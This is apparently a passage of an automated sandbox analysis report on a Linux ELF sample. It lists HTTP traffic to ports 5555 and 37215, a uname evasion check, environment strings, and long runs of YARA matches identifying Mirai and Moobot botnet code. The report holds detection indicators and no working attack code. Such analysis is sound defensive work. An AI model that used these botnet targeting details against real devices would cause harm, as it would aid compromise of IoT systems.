Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 52044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 52044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 56670 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 56670 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 56670 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 56670 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48322 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 48322
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 39730 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 57958 -> 5555
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/naZZ0BK2hf.elf (PID: 6227) Queries kernel information via 'uname': Jump to behavior
Source: naZZ0BK2hf.elf, 6227.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6260.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6274.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6276.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6286.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6293.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6294.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6305.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6314.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6316.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6328.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6330.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6332.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6336.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6357.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6360.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/naZZ0BK2hf.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/naZZ0BK2hf.elf
Source: naZZ0BK2hf.elf, 6227.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6260.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6274.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6276.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6286.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6293.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6294.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6305.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6314.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6316.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6328.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6330.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6332.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6336.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6357.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp, naZZ0BK2hf.elf, 6360.1.00007ffd2334b000.00007ffd2336c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: naZZ0BK2hf.elf, 6227.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6260.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6274.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6276.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6286.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6293.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6294.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6305.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6314.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6316.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6328.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6330.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6332.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6336.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6357.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6360.1.000055a144870000.000055a1448d3000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: naZZ0BK2hf.elf, 6227.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6260.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6274.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6276.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6286.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6293.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6294.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6305.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6314.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6316.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6328.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6330.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6332.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6336.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6357.1.000055a144870000.000055a1448d3000.rw-.sdmp, naZZ0BK2hf.elf, 6360.1.000055a144870000.000055a1448d3000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: naZZ0BK2hf.elf, type: SAMPLE
Source: Yara match File source: 6274.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6545.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6305.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6399.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6276.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6328.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6286.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6465.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6260.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6357.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6477.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6459.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6293.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6373.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6314.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6227.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6457.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6415.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6397.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6531.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6553.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6336.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6469.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6383.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6330.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6479.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6316.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6491.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6487.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6360.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6294.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6519.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6405.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6369.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6409.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6411.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6525.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6547.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6332.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6485.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6227, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6274, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6276, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6286, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6293, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6294, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6305, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6314, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6328, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6330, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6332, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6336, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6357, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6360, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6369, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6373, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6383, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6397, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6399, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6405, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6409, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6411, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6415, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6457, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6459, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6465, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6469, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6477, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6479, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6485, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6487, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6491, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6519, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6525, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6531, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6545, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6547, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6553, type: MEMORYSTR
Yara detected Moobot
Source: Yara match File source: naZZ0BK2hf.elf, type: SAMPLE
Source: Yara match File source: 6274.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6545.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6305.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6399.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6276.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6328.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6286.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6465.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6260.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6357.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6477.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6459.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6293.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6373.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6314.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6227.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6457.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6415.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6397.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6531.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6553.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6336.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6469.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6383.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6330.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6479.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6316.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6491.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6487.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6360.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6294.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6519.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6405.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6369.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6409.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6411.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6525.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6547.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6332.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6485.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6227, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6274, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6276, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6286, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6293, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6294, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6305, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6314, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6328, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6330, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6332, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6336, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6357, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6360, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6369, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6373, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6383, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6397, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6399, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6405, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6409, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6411, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6415, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6457, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6459, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6465, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6469, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6477, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6479, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6485, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6487, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6531, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6545, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6553, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: naZZ0BK2hf.elf, type: SAMPLE
Source: Yara match File source: 6274.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6545.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6305.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6399.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6276.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6328.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6286.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6465.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6260.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6357.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6477.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6459.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6293.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6373.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6314.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6227.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6457.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6415.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6397.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6531.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6553.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6336.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6469.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6383.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6330.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6479.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6316.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6491.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6487.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6360.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6294.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6519.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6405.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6369.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6409.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6411.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6525.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6547.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6332.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6485.1.00007f122c400000.00007f122c41b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6227, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6274, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6276, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6286, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6293, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6294, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6305, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6314, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6328, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6330, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6332, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6336, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6357, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6360, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: naZZ0BK2hf.elf PID: 6369, type: MEMORYSTR
